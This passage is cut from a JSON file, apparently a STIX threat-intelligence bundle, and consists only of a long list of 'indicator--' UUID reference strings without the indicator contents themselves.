        "indicator--efe1102d-802c-4340-91f9-6d9fe6e955cf",
        "indicator--72c31d6c-ff0d-484e-83e6-032041f37f47",
        "indicator--3d546136-218b-4ded-8e84-0e85cdf7e1a8",
        "indicator--7670bb80-f63e-4ea9-9aee-c78fefe444bd",
        "indicator--4eb81434-3cf8-494e-a546-05fd8e9266bb",
        "indicator--035190dc-51ba-4658-ae89-2a86f8e30a50",
        "indicator--ad1a30b7-8ba2-411e-a71e-91fd6d234475",
        "indicator--1a839d2b-2c5b-4550-b757-3f9395762d56",
        "indicator--13de0dd0-02e9-4386-b30f-3d37efd8dc84",
        "indicator--c227dc9b-087c-4bae-9fa7-57318d5fcea0",
        "indicator--d2bbde2b-52a8-4a25-8f61-39adb72aa051",
        "indicator--346b1544-30f0-4f24-9a75-3b8f09be0cb5",
        "indicator--d910400c-5077-45a8-8596-2adcb4df1809",
        "indicator--ea3eab84-8d60-4148-a458-d722219393cd",
        "indicator--ea04e52d-ac1b-4d6f-b500-0855f226d49e",
        "indicator--6834b5cb-4f46-4068-b4b0-de1d9c963bf1",
        "indicator--317f89c7-c4da-4343-a655-99641dfd551d",
        "indicator--c1aa0c99-9d74-41c1-8302-32d76af59b68",
        "indicator--0af93b5e-411a-47bb-8043-b605c55e3157",
        "indicator--775f8efe-7d75-4a70-962c-9b8d73a1780b",
        "indicator--5a83f8c8-f95b-41f9-8e3c-9217a9d26cfe",
        "indicator--bf191712-c143-4c0b-9b14-2c2dd884bd0f",
        "indicator--3681f207-72f7-46a1-917a-d8eaaa5af221",
        "indicator--2582851b-b1f4-4afb-838e-8164a82fe73e",
        "indicator--1c2b50a3-2f50-421c-bce4-63371d05d58f",
        "indicator--e09c1911-42b8-4a9c-bb48-3d5804ef3af7",
        "indicator--58a0e852-3835-4d1c-8601-07c4329bad42",
        "indicator--84d7d839-9be9-46aa-8fa5-da1e6e2897e4",
        "indicator--d144ef80-3a62-4456-a443-695382c8afed",
        "indicator--c9c4f3f8-25c6-4e08-9b1b-1c6411cacc6c",
        "indicator--ccb92fc3-7574-4403-b45c-535f9005df94",
        "indicator--c7ecef97-f471-48d0-a5b9-0d70b67e2e76",
        "indicator--4bc90f72-cd15-405b-a645-3400f38c7607",
        "indicator--576cf827-dfc6-44f0-a4e8-ff042b075793",
        "indicator--1e18045a-9de5-4f17-8384-c63b35dc643e",
        "indicator--9a6c4021-c7c7-4d03-9ebe-b1bc2f66733c",
        "indicator--31e3f8fb-50b9-4b20-969c-0508f1739ed9",
        "indicator--c5b6056d-7667-4cc8-9fe2-b8e926273d38",
        "indicator--ecbef01b-774f-4ee7-9139-aa212ce23dae",
        "indicator--27771f54-55d7-405e-ba89-37432a83ad4a",
        "indicator--e2d2958e-aff9-4849-ad71-6e0597cb019f",
        "indicator--dcdda0d0-02c9-4cb3-8a18-e61b5d2b5984",
        "indicator--825ddb82-4f7d-4a9d-bbf3-8e29dc19a0a0",
        "indicator--6a2a6b1d-0b5b-4571-9231-83cdea853734",
        "indicator--cbec986d-f8c1-46f0-b90e-5b1699ed74a4",
        "indicator--8566a14f-5b74-47b6-ac80-dbb16e3dfe43",
        "indicator--6c4c153c-d765-4e37-bfec-e0e3ae8fd37a",
        "indicator--36cd9cdc-173b-42bb-b854-f0d996378b3c",
        "indicator--e85276d7-6649-4c11-94d3-b913b45c0c86",
        "indicator--c5bc08d0-16c6-49d4-a42d-d2d7dafb7429",
        "indicator--d90cd49e-bd78-40af-beab-b41465ede587",
        "indicator--ceeadcf2-7d46-4f78-9fba-37b63048db07",
        "indicator--1867f3ff-45a8-4f1b-b749-edcd49221a9b",
        "indicator--4459f31a-e653-4521-b8c5-85d1e68f661d",
        "indicator--9a6dbc46-122b-45f1-aa5f-4db962bc5cd1",
        "indicator--d186731f-d02e-40c2-82f5-c82eedd47bd7",
        "indicator--34fd4e26-3b29-4165-b879-0ca570dc9699",
        "indicator--7cebd748-4767-451b-843a-375fe1923f1d",
        "indicator--0bdc0658-3fc5-49ab-92e0-f206f5da887a",
        "indicator--407a13c2-37d3-4f4b-9a6a-738d71c439ad",
        "indicator--6b429aef-e1fe-4095-b65d-66e50f80f11c",
        "indicator--1944b00d-a43c-4f8f-8287-c1f74f08a96c",
        "indicator--4256a1aa-f549-405e-b0d1-6fb413463839",
        "indicator--599ce174-2b4e-4341-aa3c-1d746658d486",
        "indicator--74ba75d2-5716-4260-bff9-c8ba1d991348",
        "indicator--dd82df4f-4853-45e3-8dc8-6c2285ddc20c",
        "indicator--9d0fd95d-ee90-4222-a795-6c548e443385",
        "indicator--653af106-fd11-4e9a-8c40-71bb7180cce6",
        "indicator--b92fd9dd-acf9-4660-88d0-a4f392d39483",
        "indicator--da98135b-4d3c-40f3-94b5-a4eb1e293787",
        "indicator--ab82aa7e-2f0a-4c9a-b231-4c32425e1c6d",
        "indicator--d6ed0890-8738-4b7b-9902-839fb68b5636",
        "indicator--843547c1-e9ac-4d24-b831-03098c07920e",
        "indicator--cd4978b8-4028-41c9-9d28-c184b59ecca9",
        "indicator--c8576f7c-9b69-412a-b409-3d98f083c394",
        "indicator--a4baac67-01c2-4b1d-bceb-d351d1be31fd",
        "indicator--d60158e8-5180-41d9-ba35-fcdb12900c73",
        "indicator--db8d6535-092b-43da-b7c2-2ae3af8e183d",
        "indicator--5d765fc1-bec3-42ee-86ce-5915eb37f21e",
        "indicator--98966ea4-7972-4d0b-b2ac-96b178ccba6e",
        "indicator--40524c75-6921-4995-a3d8-8aac22587020",
        "indicator--18c499a3-593e-489f-aa99-87e650982df2",
        "indicator--eebfd518-1034-4220-8b13-93dc295501d4",
        "indicator--b182e139-0c9c-4764-b652-944c62fa3c3e",
        "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
        "indicator--53602032-081e-42e0-b972-b5a377538511",
        "indicator--be9e2fd2-57ef-4d64-8fec-c23600bcef50",
        "indicator--8775a487-fe12-4d44-9c98-f0882addcbf6",
        "indicator--257c6f92-bcb1-423a-8050-08c8ea8b0e73",
        "indicator--8777c0fd-acb6-4744-8716-ee603dd5487a",
        "indicator--2a9a1197-6fe4-429d-8ff8-e03a5e8addeb",
        "indicator--eb60e313-3a00-4fb1-a7db-97a27c8feb4c",
        "indicator--e28b0368-8e3e-4889-811d-547155a1cd13",
        "indicator--7ab64793-88c3-4c07-b3e5-3502fb11a7d0",
        "indicator--70ffa226-bac5-4c65-bb63-5dc3bf2e4295",
        "indicator--104d1423-1731-49f8-aef3-5c6d7aee10e0",
        "indicator--37aa1f69-da7d-4abe-b4f7-ca3d410e81c2",
        "indicator--687d953d-2b38-4445-9e0a-bfa6603529f0",
        "indicator--4427b8a8-9ad0-48a6-9aaa-07860cda0f94",
        "indicator--33dd7446-ef4e-41fd-b583-cb5615097c8c",
        "indicator--a31a9bb2-76d9-475f-8949-57cd800eee75",
        "indicator--61c5c136-fc3b-4dd9-ae18-684fab0f1d2a",
        "indicator--7e9d5e80-4218-4fdb-a82b-4f8a5538e08a",
        "indicator--fce09045-a24e-496e-aec7-67750741f1f2",
        "indicator--21356365-ee1a-4b93-b82e-2a698f6655d5",
        "indicator--2ce33d71-9485-44e9-bb16-5a6767ca49d0",
        "indicator--f8f6a93b-8bc0-496d-b01a-478fc9d5bf5e",
        "indicator--fbb63bf8-f292-4e86-8693-af1867f81d4a",
        "indicator--8582c73f-760e-4291-85ad-2f7661c294b0",
        "indicator--3caaec08-7c37-4179-9216-d243396a5872",
        "indicator--4b2065b7-c6fa-4cf2-91b4-978364aa07c6",
        "indicator--40755b28-e1c3-44e3-b3f4-9abe55e18340",
        "indicator--a7c37dbe-651c-4335-840b-c46e2784332e",
        "indicator--5d9f34a8-c784-489d-9695-7de1b4f02102",
        "indicator--d597d4ec-0f03-451c-92fa-99ae42c1a590",
        "indicator--6279d620-e3b7-4610-9e16-3854c6d7ab48",
        "indicator--540ef106-354a-4cfb-8bff-579989eb8aab",
        "indicator--9e3cf705-c180-4ebb-90f6-d8fd0a7e94a9",
        "indicator--2b2002dd-78b8-46ba-a193-7bdcc7dfff38",
        "indicator--c6366742-6ea6-4f4d-91e7-c7d05f737c8d",
        "indicator--0e3a343b-1d0d-486e-89a7-deb6b160b8ac",
        "indicator--8e8e6442-f084-435c-9b1c-6de72aaf00d6",
        "indicator--099a7055-fbcf-450d-b71c-2abf00033158",
        "indicator--b39eb31f-0428-42b3-b833-496add85c3ef",
        "indicator--5e1cafb5-e87a-4ebf-960b-73b6ae86338c",
        "indicator--dcf945cc-673c-4490-bc2d-8d831ff62415",
        "indicator--2bac9f30-c897-4a7a-90c5-d45407bba945",
        "indicator--43ab7c46-c528-4310-aaa5-4143a0c9e7e7",
        "indicator--ecd0ea8c-edbb-4f18-9646-a63e04c593c3",
        "indicator--6028bc25-faa1-429f-94e6-e696cebc855f",
        "indicator--fe58d46a-1e64-4590-a8cf-2e74703b2a31",
        "indicator--cbf6bd74-bee5-49f1-a605-d02697ba0d19",
        "indicator--6c95278a-9a3a-449e-8b44-dfcbe7d2ece6",
        "indicator--fdc7f547-3442-4e1a-be8b-3da85e9c48df",
        "indicator--a065d493-ca2c-4b2c-a033-643fcb71f400",
        "indicator--457ac008-98ef-40e2-9106-46fcf293ecd6",
        "indicator--1e780994-88a8-4df1-a72a-3b23d158f86f",
        "indicator--3422a08d-2a10-4a7e-9c31-b34d5831f68d",
        "indicator--00ad3154-2610-48df-9e99-a9e75333ffde",
        "indicator--eacd3964-b4a5-45c8-ba87-9aafc2b50027",
        "indicator--bbe9aaac-fa66-4593-b458-c209134f324c",
        "indicator--a56942d2-1fe3-4b2b-9cd5-7b933faa8663",
        "indicator--04340b29-6ef9-4aad-8ffb-29a029827a50",
        "indicator--034531eb-3873-43c7-822f-3d6f05a629a5",
        "indicator--de868aea-0f59-40be-ad45-2611c3706684",
        "indicator--261f9a69-60e1-43de-abf0-6cb8de52b50f",
        "indicator--13a4231a-4d45-433e-8e2c-793c1b88dadc",
        "indicator--13c7dbe2-ddab-4eb0-8058-3f7d9651aa8f",
        "indicator--17d5c4f5-1906-4075-8dc8-2e67bc7de0a4",
        "indicator--b88b2e92-e71f-4188-99a1-0d33e496c774",
        "indicator--888a5047-2f1f-460d-a516-ca9f167812cd",
        "indicator--bbc73b64-e46f-42b0-927e-cb949b796455",
        "indicator--af86f9f6-47e7-4eee-aff6-fb53cd378fa6",
        "indicator--ab04d995-b817-4b46-805d-08eaff4c4b17",
        "indicator--dbc75541-d2d2-44c9-a0fd-5e763881d78b",
        "indicator--3a568d39-8e05-411f-b0d3-8cbed9e97123",
        "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
        "indicator--1a75f5bd-8e8e-4f11-8310-c5b215eb8565",
        "indicator--0cfac61a-7b2c-448c-8445-8c760a7b97c1",
        "indicator--76583976-535d-482c-bb3e-6bedca55fc99",
        "indicator--72f7b6b6-90b7-4174-983a-ac7e119c74c4",
        "indicator--3c80121c-c225-473a-b99a-84138531efa4",
        "indicator--532c3fc8-29c0-4c77-bc08-bc4417464b13",
        "indicator--0415bf5b-5a28-4637-abf4-70164f9644d2",
        "indicator--98b1ca1b-3050-4be9-9c5e-6f8b84da1364",
        "indicator--55ea474d-419d-49aa-b0c8-991f6a22e3ef",
        "indicator--ba5af998-f3b8-4dd7-9ecc-72dc32447609",
        "indicator--8b2775ed-2c3c-4f43-bb82-ca58dd0c6c39",
        "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
        "indicator--b959ff68-460c-4f83-ab89-0d70a4bccdc1",
        "indicator--e6673fcf-523b-44c2-8c1a-dd484fc27c9c",
        "indicator--c307b371-5e50-45ef-bafd-dffb29987687",
        "indicator--2ad7e311-60c2-4af4-877c-8c727a0d7528",
        "indicator--e548c519-be8b-48c5-b9a8-59ca05916323",
        "indicator--4674c0fe-8baf-4b40-86bc-4fd7f3aaf989",
        "indicator--aa6c60d4-bce1-477b-8d96-4b2648077210",
        "indicator--26807956-4197-4d3f-bccb-bc51c4e43323",
        "indicator--759d581a-4d43-4188-88b7-5d46519f338d",
        "indicator--2b5284ea-6666-493f-96f4-30826872b00c",
        "indicator--92b1376a-9acf-45df-8d19-c0e22d575810",
        "indicator--215f857d-da9c-4b30-a590-c776e63b4044",
        "indicator--03ce40fd-c195-4b5b-8bfb-259d992bae22",
        "indicator--7d59474c-258c-4474-99d3-a17d92a283bc",
        "indicator--1f99b930-d033-41bf-a5c8-a675a0d6d689",
        "indicator--7242e871-04e0-47f0-939f-478d5ed305a3",
        "indicator--ca5d5b09-b64c-4d1a-8877-62abbd78ba6e",
        "indicator--f16e4fe6-7f7e-4090-bbbf-0d3dda9d9f4c",
        "indicator--2236030b-845e-4520-8371-41ef60133a5b",
        "indicator--749b43d4-7278-4a13-8140-723b301fb7ce",
        "indicator--4859829a-af24-4e02-a61d-53ba7a73fb6f",
        "indicator--1d7329a6-2318-4994-aa78-cff1f419de7a",
        "indicator--8a0f85f6-15e9-4e45-84aa-e4a4ab9acfea",
        "indicator--da95820a-82f3-4fd2-8c4d-24cfd4e811cd",
        "indicator--9f24a41c-a86f-4421-9188-fec5419f3950",
        "indicator--3151fcd9-3b50-407e-9d59-1abe8a0d98bc",
        "indicator--5ed45018-30f1-4f0f-8739-ca1804806a95",
        "indicator--1dfcfff8-5f97-4898-bfa6-64cd3d33dbcd",
        "indicator--55693c3e-4402-4be9-95dc-d0d4d4a37676",
        "indicator--6d4b8030-fcd2-4d6c-9668-aec51b08dc93",
        "indicator--261ff233-2228-4f12-b526-cc7ee9ee2c9e",
        "indicator--ab2ceae9-18bc-46de-b506-549810e9fb52",
        "indicator--a66eedd1-c539-4755-867e-9d0f1e3cd9c3",
        "indicator--c7e9d373-8227-434c-aba7-967688c47b24",
        "indicator--e0418d0f-2a87-4390-9205-bb2453e73390",
        "indicator--ac117c74-1e4e-493d-9b3a-d41f677cba01",
        "indicator--69f2de91-b4d0-443f-bc7c-090ce50f8de6",
        "indicator--a3e579d3-f6c0-414f-a6a3-bbd7445a6188",
        "indicator--64011ed3-c4ea-49e8-a700-269d2f818494",
        "indicator--b4ed19a5-51ff-4358-ad12-cf6e697dfe24",
        "indicator--f551f956-5a88-4277-a81f-359564da63ee",
        "indicator--8607e060-d1ce-4fd8-a0f6-6c08b6e7acad",
        "indicator--4aea7a32-711d-49f1-87ab-8616f4268fbe",
        "indicator--76e9736e-f4ec-4006-b9e0-25c66064cea0",
        "indicator--5ee36acd-4492-4b81-af8f-a7b19bbef225",
        "indicator--825f5c66-fdf3-4426-8eeb-89ead0c8f73d",
        "indicator--c5da472a-eca2-4998-8a1d-70b5b225765f",
        "indicator--37eb779e-1a77-4155-80ef-af4fe4afe30a",
        "indicator--8aff78e4-46c3-4b1a-9184-50333ca9af9e",
        "indicator--308355ae-b2e7-446a-a8b4-a661c25aa95b",
        "indicator--d5cb9ae1-44d6-4a11-b52e-dd0eb307ddf7",
        "indicator--2fec1482-4348-4753-9e84-cb9a839da465",
        "indicator--1938992a-2ca5-4243-8527-e51fbfc123ff",
        "indicator--c76c6ebb-b1ba-4828-a572-5fbdab16477b",
        "indicator--28edc43c-3f68-4e0e-b27b-0afa40937dd5",
        "indicator--8880c668-173c-4196-b4fb-f744e725a3e1",
        "indicator--7ab0edb6-c638-402b-bd2f-cf39843671f0",
        "indicator--d8f7cb26-bca2-4dc4-b64a-7cb0c41375cb",
        "indicator--352d9374-2103-457b-9d91-9bd51d146de3",
        "indicator--1d4a4cdc-05ef-4afe-b4c5-0a368287037a",
        "indicator--9d2ef145-18f0-4689-ab58-3c0635b4e243",
        "indicator--9e3ad8fe-1c3c-47d2-a293-663ac51aad3b",
        "indicator--013edf2c-ce39-46e8-aa96-03a68c699690",
        "indicator--04c8b00c-e18f-4779-ba27-799ecc8bdc86",
        "indicator--c7b2ee07-cbfd-4831-9683-3fc72c2a874f",
        "indicator--17c56cd9-4c04-466d-a164-6885a6008d50",
        "indicator--2c8db0d3-6a52-48a1-bfe4-dca4599349cd",
        "indicator--0d2f52e6-5bf6-495b-b276-e3b9e1a8141a",
        "indicator--158494ee-0367-41a9-8d12-8e14e26ecef7",
        "indicator--975c57cb-1ab9-42c6-9845-226a1f253f6e",
        "indicator--fb16659b-440c-4724-a13a-55af695437b6",
        "indicator--8a74f3fd-5f27-4a71-be43-d00e63038aa0",
        "indicator--a4a9b6e7-d432-4899-b412-31c7aeac87ad",
        "indicator--9de6679a-b550-4050-84ee-550928b91958",
        "indicator--e2b0662f-a8f1-44b2-a04f-17ecc9bc8996",
        "indicator--21950104-d0e0-49b5-be6e-65cd710f3f2a",
        "indicator--b115d108-7561-456d-9251-8e4615ed1152",
        "indicator--6c602c42-3d68-464f-99f1-98ca44526744",
        "indicator--f3c03f97-b123-4eee-ae76-2d736e06fd84",
        "indicator--c6e4bce6-51bb-4a63-8a78-f4a3cd6644b4",
        "indicator--ff503713-5669-4a28-851f-ec59de0401a3",
        "indicator--f60362e5-abc0-44eb-84fb-c16c04772cfe",
        "indicator--ae25e7c0-9e3d-46b4-9626-f83c0c37d281",
        "indicator--9e32c9eb-e98e-4f04-a9d2-8b228d7ed1f7",
        "indicator--2c5d02cc-d3cd-4150-a3bd-50431172e4a7",
        "indicator--784581a5-2ce1-494a-abee-944b7211d2c3",
        "indicator--ab2d4186-795b-42f3-ac28-a2b7c3ed1cf5",
        "indicator--bdcf7185-cdc8-4df8-89a9-1510b6c283c7",
        "indicator--9e9700a3-94f1-4580-8821-be36b4305821",
        "indicator--b1b24454-bba8-4822-8511-fa98f7c40b28",
        "indicator--56de0760-ad2c-4e56-bda1-5fad44b5a465",
        "indicator--ce4d02a4-a2ba-4392-88b4-6378935ed19b",
        "indicator--18fde49c-a0d9-4e15-a69d-67f6467c50c2",
        "indicator--59db97f4-ba71-48b1-bdc6-2152cc1b1b15",
        "indicator--81008f59-5b0d-4944-b5fe-1477eaf65ab3",
        "indicator--84eccc19-bd83-4b1f-bbf0-5f05078f0b55",
        "indicator--f5e4d177-7f6a-4a95-8aee-61712be3b21a",
        "indicator--573f9c33-3221-41e1-b01a-a2d8f72c1f3a",
        "indicator--22b937a9-d557-4ae4-9887-50b4ec371747",
        "indicator--de6dac7e-8c40-414a-8073-d2046552bd8a",
        "indicator--eee64402-365c-40be-b7c3-e34a6e1aaf9a",
        "indicator--2ba974bc-4f8b-4381-af0c-a4a2d62a1985",
        "indicator--97d19a13-360f-4a41-b25d-88220f3e7919",
        "indicator--f83431a1-0437-41cd-b9fd-50b5d62a11d8",
        "indicator--f0811706-7455-48b8-8c0c-b30dc579d9cb",
        "indicator--d81ca1f9-9cca-4a35-b915-8a25d1eea27f",
        "indicator--1685cf54-ef73-47ce-ad9a-9bc50092e6f1",
        "indicator--bc480fb6-40e5-42e5-9ed7-ae5fffe605ad",
        "indicator--7ae6f1e1-df63-40b0-8374-30912397806d",
        "indicator--3839b253-0ebf-4ac0-b45b-7b68a11f4b60",
        "indicator--b10bc4c8-cf52-4834-b1eb-2ddebed1029d",
        "indicator--d1bad8f1-3fa3-4452-8cf6-eca9cfbc0b2a",
        "indicator--c916db64-8b5a-4545-88cf-5a649116b81d",
        "indicator--e70caae9-97e5-4d77-8ce0-29d2e12ec0cb",
        "indicator--ff081c73-1bdd-4d5c-a08a-d46991d7285e",
        "indicator--d7728f10-7521-4fd4-bfb6-cd194c58a9e8",
        "indicator--45f65564-b449-40a4-b0cb-cb6ed6e66a74",
        "indicator--8bb3732b-822c-45c2-8f24-64fc4bd71509",
        "indicator--4165b2f5-e507-4428-9189-d24d7b33eed0",
        "indicator--7440c841-721c-45dd-a5d8-a5daa5ba0ef4",
        "indicator--a7d068ff-c44a-47cc-a3bb-1ea2b2e9c676",
        "indicator--9cf78bee-28d7-4219-9fb2-f0b322f4a4d5",
        "indicator--6dd96f55-2f6a-4d34-98e3-9d48587a8480",
        "indicator--8ffbf4a6-35a9-44cc-a6f4-917c29feafc9",
        "indicator--2d026f3f-4372-4b77-8199-070292e61732",
        "indicator--40506217-f08d-4232-8353-cc89bf637774",
        "indicator--e66084f4-d52c-4a91-b8bd-767d11a60616",
        "indicator--42d9c266-a3cd-4445-85c4-2f480e524b85",
        "indicator--8c29adc5-1dd1-48cf-95e7-3222108e62be",
        "indicator--a68b8d68-393f-4221-ae79-83bb4a5b1145",
        "indicator--6f687ca6-0405-47c8-bf9b-473da8bf9a7d",
        "indicator--3f373233-a289-4c55-883e-1959c13ab52b",
        "indicator--79c3b49c-4ad4-43e6-83c5-f0d30fad0268",
        "indicator--12cd5e06-e63a-4519-af82-b05113164653",
        "indicator--ce743645-4e86-4339-9dc1-90abd69444ad",
        "indicator--ef7856ac-e533-410d-b5e5-fbbb4dfca370",
        "indicator--ec2c5fc1-47c4-4dc6-bf36-52da7dc419a3",
        "indicator--a642cf10-86bc-458c-b419-3a2b5c9069b2",
        "indicator--ab12eb60-7f40-42fe-a5a4-c86ffc526db4",
        "indicator--c7f2b054-4b85-4ca1-bce4-16043189ba0f",
        "indicator--ad4996fe-200a-4de1-9929-f6b3de3d859c",
        "indicator--6843fa01-6bcc-4369-86a9-4fc4d9510a47",
        "indicator--6ee01f40-0515-4def-b7c7-e33f1833250d",
        "indicator--c5a577d2-22d7-4142-a047-4da3bdd40c29",
        "indicator--5962db18-e7c8-4bd9-806f-7f49e584e672",
        "indicator--dacd31a1-e2e8-46ee-9bae-13cbca1f496c",
        "indicator--57e54a01-28aa-4a84-b9db-5cb1a4014f06",
        "indicator--a6c0b4d1-83f8-42be-b3cf-b067cae664e4",
        "indicator--a5fedb25-46b6-497c-afdf-90090784ac45",
        "indicator--74641351-69cc-4370-bd56-711f4bc80d99",
        "indicator--042f603e-6644-4783-b517-4ecf2426583d",
        "indicator--e141eabc-0d20-4033-b0a7-69bd5e6ae9a0",
        "indicator--e5915365-dcbb-4276-b1a1-42559a1b87d1",
        "indicator--61141ba2-ce23-4802-852f-e026b312f911",
        "indicator--553c4342-6762-4202-b266-5fa424c9b04b",
        "indicator--5020628e-69e1-4504-a09e-a17fc9e6d486",
        "indicator--666d17d8-a8e5-4773-b7f3-410c24c7cd82",
        "indicator--81b895a1-856e-439e-9872-a737e8bf465d",
        "indicator--7a84a888-197a-403a-9e92-3f40788ffec8",
        "indicator--968ac033-6be6-4211-a9bf-bf7a34da7a92",
        "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
        "indicator--8ea77f06-1b4f-4c44-ad8b-dd16d375b34f",
        "indicator--4af6b1a8-1bc6-4dc0-b666-ce5341edfd93",
        "indicator--825795a7-e66a-49df-aa4d-57e8d1fcafe2",
        "indicator--486bf43e-0e57-43b8-bdd5-9a5721437d54",
        "indicator--eaca0eb6-a6cc-4dc0-b995-4100f8789eeb",
        "indicator--783a3bf6-0215-4d50-8bc0-256af7387e20",
        "indicator--dcbef8fd-c501-4465-865f-3c0640147821",
        "indicator--076ac59c-06c0-46f1-962e-599c05a29a1f",
        "indicator--4ca4992b-d3ea-4fca-a2f1-a24e56b63f2b",
        "indicator--7fd264c8-e5f1-4c1b-aa53-804b73e41d52",
        "indicator--fad2d17f-1a77-4dcf-af94-f3b6d7ff74a4",
        "indicator--60333988-8e10-4cb8-a56d-534008fcf2cb",
        "indicator--cde81d72-4f2c-48e3-9e39-218e4e2825f7",
        "indicator--f074e166-05d0-4c02-a4f7-dad2b78d0226",
        "indicator--d3a6a7ce-3340-43fa-b478-0180d681c76a",
        "indicator--dabf08d9-b1cd-47b3-82f6-188c8ca63ceb",
        "indicator--817a04e3-532e-4e63-a717-da8df2c3ab89",
        "indicator--f687797c-0cfc-4ece-86e8-096cbc33636c",
        "indicator--463e837b-b551-4cb1-b67a-2b2c10ac80de",
        "indicator--585fda98-8bf5-4f86-b428-ecd7fbe43956",
        "indicator--54977b74-c8dd-42c9-a4a7-99200e40c324",
        "indicator--f1e240a6-d26f-4326-801d-36af15a832cb",
        "indicator--d9992cab-3027-40f3-ab00-596f55171ba5",
        "indicator--bf8f7fbd-5978-43a9-a3f3-7fc6715462dd",
        "indicator--b36aadd8-a8ae-4bb5-83fb-03489acee0ba",
        "indicator--749ce4d8-9fd3-4ffd-80a6-54ddbeb3bfd3",
        "indicator--aa0f99c3-6ecf-4084-a4f8-0a3a7df43215",
        "indicator--173d7f15-3fec-47a2-a3a1-c2bc1800492c",
        "indicator--4f8b442b-599b-458f-aed4-e2f0c7e204b8",
        "indicator--2a77a765-07ca-442d-903c-bd358662095f",
        "indicator--da4a0d42-6172-484d-9ff0-f08dcc8a1fcd",
        "indicator--ef5c1e55-e5f4-455f-979f-83de255d5195",
        "indicator--09d5144c-b7d0-4d84-a1e7-4609618836ab",
        "indicator--f0bf4672-e96d-4478-ade6-d8385711512c",
        "indicator--76560132-d912-48f2-9a94-d08a374fc5e6",
        "indicator--206effa5-8a64-47b7-aad0-2c430a4c5ece",
        "indicator--42a27afb-f1b8-4fc1-ac07-bc4c47c50e63",
        "indicator--c5919236-d97c-45b3-ae42-4f52ae483551",
        "indicator--af99dda5-0222-466c-9211-6d1165422ad9",
        "indicator--7bf90af1-6c40-4648-bd41-fbc11343c035",
        "indicator--0be427d6-2f8a-477f-ac28-ddad8934e814",
        "indicator--c556bed8-be07-4d0c-b36a-868cdb3fdead",
        "indicator--6734d8b8-50b0-4150-9ffc-98ea08eb39db",
        "indicator--c1b2278f-dfc3-41ef-9c54-af6eb207ee06",
        "indicator--bbe0ddec-e45d-4d4d-80e2-f6ce184ad129",
        "indicator--dfefbfdc-ea17-4053-a277-fc92d2f0c9dc",
        "indicator--3850d85a-008f-472f-9687-eb1443d99402",
        "indicator--73dcc90d-d584-461b-928f-80bc8c9c5f53",
        "indicator--2386842c-4f78-4a09-9ac7-4b4653b6669f",
        "indicator--39f30890-80b2-45b7-8e57-375a8e37d582",
        "indicator--b059137c-b360-46e9-9f73-3daae17799ff",
        "indicator--ebdc0dcf-b8d8-4535-869d-6cd27dbbabbe",
        "indicator--e415856f-f7b5-48bb-930d-5de98c464e8b",
        "indicator--e2d849a8-2028-4775-83c9-8a85a00e6a5b",
        "indicator--7a12eaa8-bbb2-428d-a1ea-088682daacc9",
        "indicator--a2ff0dbf-18ad-4e32-9f79-a52d862f4f76",
        "indicator--003cb77f-0a6f-46ed-b35f-c1aecc395d77",
        "indicator--451d3e88-30fa-4dd0-9f5e-84a68fa93dc3",
        "indicator--13803d6d-876d-4a02-a307-6d17a862a5b6",
        "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
        "indicator--ba40601e-141c-47ae-b4ed-21ef87e24eb2",
        "indicator--00145a1e-2fc6-48b6-a15b-66fa805caa6a",
        "indicator--203576e6-4855-48ed-b89c-6b6038a814b3",
        "indicator--db3e226f-2721-47ef-b5b5-a59baa89c9cb",
        "indicator--077bcfc0-1b84-4fbb-a0eb-1ea92e7ce0a2",
        "indicator--c3c6ea95-6864-401b-98d9-f153c20f2054",
        "indicator--fa90e80a-7de5-4ed9-9192-dd59f90e981e",
        "indicator--b71a5875-ac4c-477b-9f09-971de5cd1914",
        "indicator--79ce6895-54d3-43c6-8681-2f3616803ae4",
        "indicator--e2ae25fc-9734-4aa1-a052-ab01969717ec",
        "indicator--c28643e9-25aa-4d57-8a52-89ed858c4b87",
        "indicator--22553c89-79db-4999-9d36-28b3dfd28967",
        "indicator--4653d657-0dd9-422d-9e04-623803cf9ff0",
        "indicator--592bcd23-8460-468a-845c-219b336b59a1",
        "indicator--76f6401b-a1ed-4fe7-93df-a30eed089690",
        "indicator--635571ad-be20-4070-8472-dd4171203bf4",
        "indicator--f0aeadb9-c404-483a-9478-f539852441ef",
        "indicator--a4a87fbf-50d7-4705-9816-fe2fe5a62b02",
        "indicator--086b0929-ddd5-4612-87d6-646fcc99af9d",
        "indicator--a89254ae-bb3f-4224-8491-7eaf51e8c7c6",
        "indicator--f619a51d-806a-4632-b1d4-27df374f79e8",
        "indicator--47511425-c422-457a-b5d3-8b719fe1f461",
        "indicator--958ea341-65c5-45e2-bbad-fd0bd9f63437",
        "indicator--65af9c6e-415e-43d5-83ed-ee2e8fdbec28",
        "indicator--ccb46cca-679c-44f6-a669-915a4292c90e",
        "indicator--013258b2-8d74-4826-a5b2-0e1dda92e0a5",
        "indicator--ae939412-ca74-40e0-bb4d-b647b9c819a1",
        "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
        "indicator--7a104b4e-dec8-4864-be9d-1ded0cc98e28",
        "indicator--d439ce97-1608-48bb-8b11-0c80e1d7bf6e",
        "indicator--8c3c90bd-74aa-43e0-8bd2-cfedf4721be4",
        "indicator--ed58a5f3-c294-40ef-aa01-b987f9192b6c",
        "indicator--e14cc468-07dc-470a-9051-d9b6f1bfcc9e",
        "indicator--863928e1-2d63-470d-855c-11dd469b0ef4",
        "indicator--138281f1-d114-436a-b568-de8c046a4ad3",
        "indicator--01a651cb-74f8-4051-b322-440b054c5d6f",
        "indicator--6b39d54e-a0c6-44dc-9a32-65b8a0d65d71",
        "indicator--55900822-b41c-4d03-866a-f18d12706b5b",
        "indicator--e366f27a-fd5f-4c8d-98a8-68e9aee0deda",
        "indicator--bd6c553a-0db3-479a-8706-315b4847111a",
        "indicator--ddf636ee-aae7-4a7b-8a3a-bcd77963f616",
        "indicator--e25f0419-16f4-43e5-8da7-1e41c3af9725",
        "indicator--3e2f7b04-4161-45d7-953f-865d4c868b23",
        "indicator--0cc38b79-e4ac-4544-99a4-04ee4733c5ae",
        "indicator--51b29d07-75cc-490c-9909-75a4c4b7b2ef",
        "indicator--3166378a-68f1-4b69-b8ce-3daef32722b0",
        "indicator--478680a3-0a16-47e5-ba45-c75633bb8c63",
        "indicator--84efa03a-8bc2-4ee1-ac15-642c810893e0",
        "indicator--1082b45d-d2a8-47af-9b5f-b2b380e74392",
